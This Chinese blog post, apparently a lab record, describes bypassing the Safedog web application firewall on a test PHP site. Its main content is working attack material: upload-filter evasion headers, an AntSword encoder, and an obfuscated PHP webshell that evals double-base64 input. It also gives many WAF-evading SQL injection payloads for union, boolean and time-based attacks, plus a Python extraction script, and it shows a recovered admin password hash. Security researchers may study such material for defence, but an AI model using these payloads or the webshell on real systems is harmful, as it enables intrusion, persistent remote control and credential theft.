玩命加载中 . . .

安全狗文件上传&sql注入绕过实验记录


一、绕过安全狗文件上传

先上传一个正常文件,观察一下基本情况

upload successful

upload successful

upload successful

收集到基本信息

1.为windows系统php5.4.45环境 apache2.4.23环境 2.上传不是白名单 3.有回显路径 4.安全设备 安全狗

思考绕过安全狗要走的路程,一步一步的完成

1、要能上传php pHp 等 windows 能解析的后缀

2、内容检测,能够上传webshell,且要免杀,免杀包括文件免杀和连接流量免杀

1、完成恶意后缀的上传

1.1 闭合绕过

对filename的闭合进行修改,让安全狗无法定位到上传的文件名

去掉双引号绕过
Content-Disposition: form-data; name="upfile"; filename=1.php
Content-Type: image/jpeg

upload successful

成功绕过安全狗

upload successful

单引号混淆绕过

通过单引号干扰安全狗闭合的识别检测

upload successful

Content-Disposition: form-data; name="upfile"; filename="1.jpg'\2.php"
Content-Type: image/jpeg

upload successful

1.2 垃圾字符绕过

通过构造垃圾字符filename=,干扰安全狗对filename的检测,后台只会处理最后一个filename=

upload successful

Content-Disposition: form-data; name="upfile"; filename="1.jpg";filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=3.php
Content-Type: image/jpeg

upload successful

1.3 高并发绕过

在高并发情况下,安全狗可能处理不过来,会直接放过,毕竟防护设备不能影响正常业务,业务的并发>安全狗的并发

upload successful

upload successful

upload successful

upload successful

upload successful

上传成功

2.免杀 文件和流量层

已知道php版本 5.4.45,可以拼接函数名调用函数,不用直面eval容易很多,流量层多次base64就行,因为防护设备不可能多次解码,消耗时间,其次在每次编码前加随机长度字符串,base64也解不开。当然也可以用异或对称加密非对称加密等等。

之前学习过php webshell免杀,直接用试试吧

之前学习写的文章地址:

利用php7-4新特性webshell

蚁剑原理与魔改

蚁剑编码器

/**
 * php::base64编码器
 * Create at: 2020/11/21 15:21:10
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data['_'] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  //data[pwd] = `${data['_']}"));`;
  data[pwd] = Buffer.from(data['_']).toString('base64');

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

免杀的webshell:

<?php 
header('HTTP/1.1 404');
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>

上传:

upload successful

upload successful
蚁剑连接:

upload successful

执行命令成功获取到权限:

upload successful

二、绕过安全狗注入

1、判断闭合方式

使用fuzz判断后端的闭合方式,方便后续构造sql语句闭合

#
'-- +
'-- #
"-- +
"#
')-- +
')#
")-- +
")#
")-- +

upload successful

根据fuzz结果,判断后端未进行闭合

2、判断是否存在sql注入

根据上面判断的闭合方式,构造闭合,然后尝试构造能够改变sql执行结果的语句,这里使用and进行拼接来改变sql语句结构,比如and 1=1,当然也可以使用or & ||等来替换and,效果不同而已。

//fuzz字典

and floor(rand()*2)#
and floor(rand()*2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and 1=1-- +
and 1=1#
and 1=2-- +
and 1=2#
and 2>1-- +
and 2>1#
and 1<2-- +
and 1<2#
and 1#
and 1-- +
and null#
and null-- +
and null is null#
and null is null-- +
and null is not null#
and null is not null-- +
and 0-- +
and 0#
and -~0-- +
and -~0#
and hex(0)-- +
and hex(0)#
and hex(1)-- +
and hex(1)#
and true#
and true-- +
and !true#
and !true-- +
and mod(4,3)#
and mod(4,3)-- +
and mod(4,2)#
and mod(4,2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and '1'&1-- +
and '1'&1#
and '1'^1-- +
and '1'^1#
and -1--1--+
and -1--1#
and -1-1--+
and -1-1#

fuzz结果:

upload successful

根据返回结果,可以判断这里存在sql注入,下面解释两个payload判断理由。

2.1 and null is null#和and null is not null#判断sql注入

本地测试环境

upload successful

执行and null is null 和 and null is not null 发现返回结果不同

upload successful

fuzz结果与我们的猜想结果一致,and null is null 为true 返回正常查询结果,and null is not null 为 false 返回查询不到结果,说明我们改变了sql的语法结构,此处存在sql注入。

2.2 and floor(rand()*2)# 判断sql注入

查看fuzz结果发现同一个payload(and floor(rand()*2)# 返回的执行结果却不相同,也构造随机不同的时间,查看不同的响应时间区别,这里构造随机真假。

upload successful
说明我们的rand()随机数影响了sql的执行结果,可以改变sql语句的结构,本地测试rand():

upload successful

利用rand()* 2 随机返回0和1 导致 and 1和 and 0两种不同的执行结果,与fuzz结果一致出现不同结果,由此判断此处存在sql注入。

3.联合注入过狗

3.1 判断字段数

已判断存在sql注入,且有回显,尝试使用联合查询回显我们想要的查询结果

构造联合查询需要知道前一个select的字段数,有两个方法:

  1. union select 1,2,3 一直向后加字段数来判断
  2. order by 加字段偏移数来判断字段数

由于union select后续同样需要bypass waf,学习为目的,这里先尝试order by过安全狗来判断字段数。

upload successful

由于order by 后面的偏移数并不影响waf的检查,所有重点fuzz order by,可以在上图1,2位置插入字符来进行fuzz,先暂时不对order 或 by进行变换尝试。

upload successful

// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
+
!
-
@
'
~
{}
\N
;%00
`
/*/**/
/*!/*!*/

查看fuzz结果发现不需要编写order或by,已经可以绕过安全狗

upload successful

payload:12 order//*/by#

upload successful

所以继续fuzz by 后面的数值,就能判断字段数

upload successful

upload successful

payload:12 order//*/by 10#

3.2 union select 过狗

已经判断字段为10,进行联合查询发现被waf拦截。

upload successful

select 后面的数字一般不会被waf拦截,主要是union select

upload successful

暂时不改变union和select本身的变换,尝试fuzz,上图3的三个空白处。

// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
/*/**/
/*!/*!*/

fuzz结果发现全都被安全狗拦截

upload successful
所以这里需要变换一些union或者select,在进行fuzz,这里使用常用的内联注释来变换一下select为/*!/*!11440select*/,本地测试确实并不会影响sql的执行

upload successful

原理:mysql中 /! …./ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!…./中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。

upload successful

变换select后waf会拦截,继续fuzz上面三个位置

upload successful

fuzz出安全狗没有拦截的内容,payload:-12 union//**//!/!11440select/1,2,3,4,5,6,7,8,9,10#

upload successful

3.3 查询数据库名称

直接将10换成database()发现会被安全狗拦截,由于前面都是bypass的,说明是识别database()的原因

upload successful

本地尝试如何变形database()

upload successful

发现上图1,2标注位置加空格等并不影响sql语句的执行,fuzz这两个位置

// fuzz 字典
%20
%0A
%0B
%0C
%0D
%20
/*/**/
/*!/*!*/

upload successful

3.4 获取表名

payload:http://192.168.2.133/sqltest/showproducts.php?id=-12%20union/*/**//*!/*!11440select*/1,2,3,4,5,6,7,8,9,group_concat(table_name) from information_schema.tables where table_schema='xycms'#

发现安全狗并不拦截

upload successful

如果拦截我们就需要考虑继续fuzz空白处,空白处不行,就考虑变换information_schema.tables

upload successful

本地测试发现在1,2位置加空格并不影响sql 执行,所以如果waf拦截我们就可以fuzz所有空白处。同时也可以内联,本地测试如下图,并不影响sql 的运行。

upload successful

3.5 获取表的字段值

这里安全狗并不拦截,所以我们直接获取就行了

payload:

-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(column_name) from information_schema.columns where table_name=’manage_user’#

upload successful

3.6 获取密码值

安全狗还是不拦截,直接获取就行,成功获取到admin密码

payload:-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(m_name,0x7e,m_pwd) from manage_user#

upload successful

解密:

upload successful

4.布尔注入过狗

思考我们想要执行的语句and substr(1,1,1)=1,本地测试我们在先不改变and、substr、=情况下,可插入其他符号的位置。

upload successful

upload successful

所以我们要fuzz上面四个位置,先看下能不能过狗

upload successful

fuzz一半就发现有很多可以正常响应,且waf不来拦截的payload,且substr正常执行

upload successful

upload successful
继续构造后面我们想要执行的语句:and substr(hex(1),1,1)#当然也可以使用ascii等等把后续查询结果转换的操作都可以,这里使用hex()

upload successful

发现waf不拦截

upload successful

upload successful

那我们继续构造我们想执行的东西

upload successful

当然也可跳过计算长度,直接截取,看返回,都可以,所有我们想执行的下一步sql

and substr(length(hex(1)),1,1) =1#

upload successful

upload successful

4.1 获取数据库名称

waf还是不拦截哈哈哈,那我们继续构造,查询数据库长度

and/*/**/substr(length(hex(database())),1,1) =1#

upload successful

开始拦截,说明是database()原因,那我们把上面联合查询的database的绕过弄过来先试试

发现还是被拦截了,那我们还是先fuzz database()的空白处,不行在变换database()

upload successful

本地测试发现可以fuzz上图四个位置

upload successful

upload successful

成功fuzz到waf不拦截的payload:

http://192.168.2.223/sqltest/showproducts.php?id=12 and/*/**/substr(length(hex(/*/**/database (/*/**/) )),1,9999) =10#

upload successful

upload successful

说明hex后的数据库名长度为10,那我们继续fuzz获取数据库名,我们想执行的下一个查询

and/*/**/substr(hex(/*/**/database(/*/**/)),1,9999) = XXXX#,waf不拦截,那我们直接获取就行了,写个脚本跑就行了。

upload successful

4.2 获取表名称

还是先获取表名的长度,select直接用联合查询已经绕过的先尝试一下,发现waf不拦截,那我们直接跑就完了

payload=http://192.168.2.223/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27))),1,9999)=194#

upload successful

继续查询表名,发现waf还是不拦截,payload:

12 and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27)),1,4)='636F'#

upload successful

upload successful

写个脚本跑一下

upload successful

upload successful

成功获取表名

4.3 获取字段值

和上面一样借助联合查询fuzz出来的payload,拼接一下布尔的payload

http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name='manage_user'))),1,9999)=43#

发现waf也还是不拦截

upload successful

那我们继续fuzz后面的数字,获取到长度为44

upload successful

payload:http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name='manage_user')),1,1)=5#

写个脚本跑一下:

def conuntRequestHash(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
    }
    proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
    text = requests.get(url=url, proxies=proxies, verify=False).text
    return hash(text)
def getfield(url,lengthTable):
    hash = conuntRequestHash(url)
    database = ""
    for num in range(1, lengthTable + 1):
        hex = ['0','1', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'A', 'B', 'C', 'D', 'E', 'F', 'lnng']
        for hex1 in hex:
            if hex1 == 'lnng':
                print(str(num) + "出错了")
            payload1 = database + hex1
            parameter = "%20and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3d'manage_user'))%2c1%2c"+str(num)+")%3d'"+payload1+"'%23"
            payload = url + parameter
            request_hash = conuntRequestHash(payload)
            if request_hash == hash:
                database = database + hex1
                print(database)
                break
    return database

upload successful

成功获取字段值:id,m_name,m_pwd,c_date

4.4 获取密码

继续先获取长度,payload:http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=7#

upload successful

同上面脚本,跑一下密码:

http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user)),1,1)='7'#

upload successful

成功得到账号密码:admin~21232f297a57a5a743894a0e4a801fc3

5.延时注入过狗

首先思考我们想执行的最简单的语句,那肯定是12 and if(1,1,1)

本地测试我们能变换的位置,发现图中的标注的三个位置我们都能添加别的字符。

upload successful

fuzz上图中的三个位置

// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
+
!
-
@
'
~
{}
\N
;%00
`
/*/**/
/*!/*!*/

fuzz发现有些payload甚至能正常返回页面,且waf不会拦截,所以暂时不用变换其他的

upload successful

本地尝试其中的任意一个payload,发现并不影响我们后续的sleep(sql的执行顺序原因)

upload successful

upload successful

waf并不会拦截,当然还有很多可以使用fuzz出来的payload:

upload successful

upload successful

4.1 sleep 过狗

and if(1,1,1)# 已经fuzz出来能过狗的,那么下一步我们就要fuzz sleep(),让其先能延时,要看下sleep(),哪些地方可以放东西。

upload successful

发现三个位置都可以放字符,所以用上面的方式fuzz这三个位置,暂时先不变换

upload successful

发现加三个空格都不拦截了,这正则写的哈哈哈

upload successful

upload successful

所以下面我们只需要构造下面位置就行,和上面的一样

upload successful

把上面布尔过狗的拿过来用就行

payload:

12%20and%20~if((substr(length(hex(/*/**/database%20(/*/**/)%20)),1,9999)%20=10),sleep%20(%2020%20),1)#

upload successful

upload successful

upload successful

总上延时注入成功。

4.2 获取密码

上面布尔的payload拼接都是不拦截的不在赘述,这里直接给出延时注入最后获取密码的payload:

http://192.168.2.63/sqltest/showproducts.php?id=12 and ~if((substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=76),sleep ( 20 ),1)#

upload successful

upload successful

upload successful


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 上一篇
内存马分析与处置实验记录 内存马分析与处置实验记录
一、找到命令执行 构造命令执行: 二、使用哥斯拉进行连接注入内存马 访问xx已存在 三、日志分析 内存 工具检测: memshell: 哥斯拉内存马 cop.jar VisualVM 四、处置 index2
2022-11-08
下一篇 
CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现 CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现
1.漏洞信息2022年3月7日,互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞,漏洞适用于所有 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。 2.漏洞复现2.1 源码的获取官网目前已经无老
2022-06-10
  目录